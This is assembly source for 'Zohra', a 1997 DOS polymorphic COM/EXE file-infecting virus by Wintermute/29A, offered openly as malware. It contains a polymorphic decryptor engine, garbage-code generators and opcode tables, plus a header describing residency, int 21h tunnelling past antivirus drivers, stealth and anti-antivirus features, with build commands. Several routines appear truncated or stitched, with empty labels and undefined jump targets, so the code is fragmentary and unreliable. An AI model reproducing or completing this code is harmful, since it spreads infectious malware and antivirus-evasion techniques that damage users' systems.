;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Print string while producing some beeps ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
loop_beep_string:
;Get character
lodsb
or al,al
jnz print_that_char
ret
print_that_char:
;Print character
mov ah,09h
mov bx,0002h
mov cx,0001h
push si
int 10h
;Produce a click
call generate_beep
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a speaker beep ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
generate_beep:
mov cx,0008h
loop_click:
push cx
;Sent frequency
xor ax,ax
dec ax
out 042h,al
mov al,ah
out 042h,al
;Sound duration
mov cx,0FFFFh
wait_cycle:
loop wait_cycle
;Clear signal
in al,061h
and al,0FCh
out 061h,al
pop cx
loop loop_click
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic engine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_encrypt:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
try_new_generation:
;Initialize engine
xor ax,ax
lea di,word ptr [poly_data][bp]
;Clear last_subrotine
mov word ptr cs:[di+04h],ax
;Clear decrypt_sub
mov word ptr cs:[di+06h],ax
;Clear last_fill_type
mov word ptr cs:[di],ax
dec ax
;Clear last_step_type
mov word ptr cs:[di+02h],ax
;Clear last_int_type
mov byte ptr cs:[di+0Ah],al
;Clear decrypt_pointer
mov byte ptr cs:[di+0Bh],al
get_decrypt_reg:
;Check if it is bl
cmp al,18h
je get_decrypt_reg
;Check if it is bh
cmp al,38h
je get_decrypt_reg
ok_decrypt_reg:
check_decryptor_ready:
generate_second:
lodsb
add al,bl
stosb
inc bl
loop generate_second
;Clear prefetch
db 0EBh,00h
load_crypt:
lodsb
encrypt_here:
;Encrypt instruction ( add/sub/xor al,bl )
db 00h,0C3h
stosb
loop load_crypt
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a valid opcode for memory operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_seg_reg:
cmp word ptr cs:[exit_address][bp],offset exit_com - \
offset host_ret
je use_ds_es
;Use just cs on .sys .exe files and floppy boot and hd mbr
mov al,2Eh
ret
use_ds_es:
;Use also ds es in .com files
call get_rnd
and al,18h
cmp al,10h
je get_seg_reg
or al,26h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate next decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
next_decryptor:
;Next instruction counter
inc byte ptr cs:[decrypt_pointer][bp]
;Build instruction
mov ax,word ptr cs:[instruction_table+bx]
add ax,bp
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load counter register ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_load_counter:
mov al,0BEh
add al,byte ptr cs:[address_register][bp]
stosb
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load pointer to encrypted data ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_load_pointer:
;Generate garbage
call g_generator
;Include displacement
mov al,byte ptr cs:[displ_si_di][bp]
cbw
add ax,bx
stosw
;Generate garbage
call g_generator
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt one byte from encrypted data area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_decrypt_one:
;Store operation
mov ax,(end_fast_table-fast_table)/02h
call rand_in_range
;Get opcode
mov ax,word ptr cs:[fast_table+bx]
mov byte ptr cs:[encrypt_here][bp],ah
xor al,byte ptr cs:[address_register][bp]
stosb
mov al,byte ptr cs:[displ_si_di][bp]
neg al
mov ah,byte ptr cs:[clave_crypt][bp]
stosw
ret
decrypt_with_reg:
;Get opcode
mov ax,word ptr cs:[decrypt_table+bx]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Increment pointer to encrypted zone ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_inc_pointer:
mov al,47h
sub al,byte ptr cs:[address_register][bp]
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrement counter and loop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_dec_loop:
;Decode a jz
mov al,74h
stosb
push di
inc di
;Store jz displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a push reg + garbage + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_push_g_pop:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_subroutine:
create_routine:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains one decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
sub_decryptor:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to next decryptor subroutine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_call_decryptor:
;Save position
mov word ptr cs:[address_loop][bp],di
no_store_call:
;Build a call to our subroutine
mov al,0E8h
stosb
mov ax,word ptr cs:[decrypt_sub][bp]
sub ax,di
stosw
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to a subroutine witch some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_call_garbage:
;No, so exit
ret
ok_call:
;Build a call to our garbage subroutine
mov al,0E8h
stosb
mov ax,cx
sub ax,di
stosw
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_branch:
;Generate a random conditional jump instruction
call get_rnd
and al,07h
or al,70h
stosb
g_generator:
;Get a random number for fill count
call get_rnd
and ax,03h
last_byte_equal:
;Select the type of filler ( 01h byte instructions for .sys files )
mov ax,end_byte_table-one_byte_table
call rand_in_range
;Store instruction
stosb
jmp op_return
no_building_sys:
;Do not generate int calls into boot sector or mbr decryptor
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
je eliminate_ints
eliminate_ints:
dec ax
dec ax
no_in_loop:
call rand_in_range
;Call subroutine
push ax
ret
op_return:
pop ax
dec ax
jnz next_fill
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,imm ( either 8 or 16 bit but never ax or sp,di,si or bp )³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
move_imm:
call get_rnd
;Get a reggie
and al,0Fh
;Make it ax,bx cx or dx
and al,0FBh
mov ah,al
and ah,03h
;Not ax or al
jz move_imm
stosb
call rand_16
stosw
ret
is_8bit_mov:
mov bh,al
;Is al?
and bh,07h
;Yeah bomb
jz move_imm
stosb
call get_rnd
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,reg ( never to al or ax ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
move_with_reg:
call rand_16
is_8bit_move_with_reg:
mov bl,ah
and bl,38h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Modify a mov reg,reg into an xchg reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
reg_exchange:
;Make a mov reg,reg
call move_with_reg
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate push reg + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_push_pop:
mov ax,(end_bytes_2-bytes_2)/2
call rand_in_range
add ax,ax
add ax,bp
mov bx,ax
;Check if push bx
cmp al,53h
je do_push_pop
;Check if pop bx
cmp ah,5Bh
je do_push_pop
not_exclude_bx:
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a mov reg,mem or mov mem,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
mov_with_mem:
;Get memory prefix
call get_seg_reg
stosb
;Check if reg is al
cmp ah,06h
jz make_to_mem
jmp all_clear_for_mem
do_16_bit:
;Get a valid 16bit reg
and ah,1Eh
;Check if reg is ax
cmp ah,06h
jnz all_clear_for_mem
make_to_mem:
;Make to mem
and al,0FDh
all_clear_for_mem:
stosw
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a math instruction from / to mem ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
make_math_with_mem:
;Perform transformation
push di
sub di,04h
mov al,byte ptr es:[di]
;Restore pointer
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random int 21h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_int_21h:
call get_rnd
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a do-nothing int call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_fake_int:
mov ax,offset fake_int_end-offset fake_int_table
call rand_in_range
mov bx,ax
add bx,bp
mov ah,byte ptr ds:[fake_int_table+bx]
mov al,0CDh
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic generator data buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ah_table:
;Int 21h garbage functions ( function number in ah )
db 00Bh ;Read entry state
db 019h ;Get current drive
db 02Ah ;Get current date
db 02Ch ;Get current time
db 030h ;Get dos version number
db 04Dh ;Get error code
db 051h ;Get active psp
db 062h ;Get active psp
end_ah_table:
ax_table:
;Int 21h garbage functions ( function number in ax )
dw 3300h ;Get break-flag
dw 3700h ;Get line-command separator
dw 5800h ;Get mem concept
dw 5802h ;Get umb insert
end_ax_table:
bytes_2:
;Push and pop pairs
push ax
pop dx
push ax
pop bx
push ax
pop cx
push bx
pop dx
push bx
pop cx
push cx
pop bx
push cx
pop dx
end_bytes_2:
step_table:
;Steps table
dw offset do_subroutine
dw offset do_call_garbage
dw offset g_generator
dw offset do_branch
dw offset sub_decryptor
dw offset next_decryptor
dw offset do_push_g_pop
end_step_table:
instruction_table:
end_inst_table:
op_table:
;Address of op-code generator routines
dw offset move_with_reg
dw offset move_imm
dw offset mov_with_mem
dw offset make_math_with_mem
dw offset reg_exchange
dw offset do_push_pop
dw offset do_int_21h
dw offset do_fake_int
end_op_table:
one_byte_table:
;One byte instructions for .sys decryptor
aaa
aas
cbw
clc
cld
cmc
cwd
daa
das
dec ax
dec cx
dec dx
dec bp
inc ax
inc cx
inc dx
inc bp
int 03h
nop
stc
std
end_byte_table:
fake_int_table:
;Do-nothing ints
db 01h
db 1Ch
db 08h
db 0Ah
db 0Bh
db 0Ch
db 0Dh
db 0Eh
db 0Fh
db 28h
db 2Bh
db 2Ch
db 2Dh
db 70h
db 71h
db 72h
db 73h
db 74h
db 76h
db 77h
fake_int_end:
decrypt_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],reg
db 2Ah,00h ;Add / sub
db 02h,28h ;Sub / add
db 32h,30h ;Xor / xor
end_decrypt_table:
fast_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],key
db 45h,2Ah ;Add / sub
db 6Dh,02h ;Sub / add
db 75h,32h ;Xor / xor
end_fast_table:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus buffers ( inserted into infections ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;Decryptor key
clave_crypt db 00h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
virus_data_buffer:
;Old interrupt vectors
;Misc data
dos_function dw 0000h
file_offset dw 0000h
ret_off dw 0000h
virus_timer dw 0000h
hd_write_words dw 0000h
hd_write_cl db 00h
hd_write_al db 00h
dos_flag db 00h
running_sw db 00h
stealth_sw db 00h
file_infection_flag db 00h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Done :P ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
launcher ends
end virus_entry
;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²² . .: .:.. :.. .. .:.::. :. ..: ²±
; ² Virus: Zohra <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< ²±
; ² Writer: Wintermute/29A .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. ²±
; ² Size: 4004+512 (decryptor) . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ²±
; ² Origin: Madrid, Spain ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. ²±
; ² Finished: April/1997 >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> ²±
; ² . .:.. ..:. .: ..:.::. ::.. :.: ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
; Features
; ÄÄÄÄÄÄÄÄÄÄ
;
; Zohra is a slow polymorphic Com/Exe infector that uses Sfts
; to perform its infection. It's double encrypted and gets resident by
; MCB method, reducing the last MCB's size without having to create a new
; one for itself. Also has an encryption routine ( the non-polymorphic
; one ) based on the UUencode system that consists on changing the first
; bit of each byte of the zone to encrypt to 1 and storing it in a buffer
; whose bytes have also a 1 in their most significative bit for being
; restored later; err, ok, it's well explained in the text. The polymorphic
; engine consists on some instructions and routine generators and other
; routines that change the decryption routine randomly ( see the engine ).
;
; Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode
; Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also,
; it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro
; ( anti-antivirus ) that I let you discover by watching the code and
; comments ;-)
;
; The payload, a video effect ( non-destructive ), activates on 14th
; of april ( the Spanish Second Republic aniversary ) when any file is
; executed. It will not be possible to execute it from within the article
; reader by pressing "G" due to incompatibility reasons.
;
;
; Greetings in this virus go to ORP, who brought me valuable
; information about UUencode, and above all to my necromancer, my wizard
; 'Zohra', the best of the Forgotten Realms ;)
;
; Also greetings to all the 29A, to Marylin Manson, congratulations
; for 'The Roots of Sepultura', greetings to all my friends, to my BBS,
; to my cat, to Ch‚ Guevara, to Tupac Amaru, and to underpants of the
; good luck.
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; El viento revuelve s£bitamente las hojas que el oto¤o
; tan cuidadosamente hab¡a depositado en el suelo,
; formando un precioso mosaico de tonos ocres.
;
; El sol a£n atisba t¡midamente por encima del horizonte
; recortado por las cruces y las l pidas, y si aguzas el o¡do,
; podr s sentir a los muertos gemir y susurrar los epitafios
; que nunca fueron grabados en piedra.
;
; La tristeza es un sentimiento de los vivos,
; la soledad una debilidad de los que rezan por no estar solos,
; la fe no sirve a los que no mueren, la muerte eres t£,
; y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo
; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado
; para toda la eternidad.
;
; Su manto te protege...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Gerard Casamayor )
;
;
; TASM /M2 ZOHRA.ASM
; TLINK ZOHRA.OBJ
;
.286
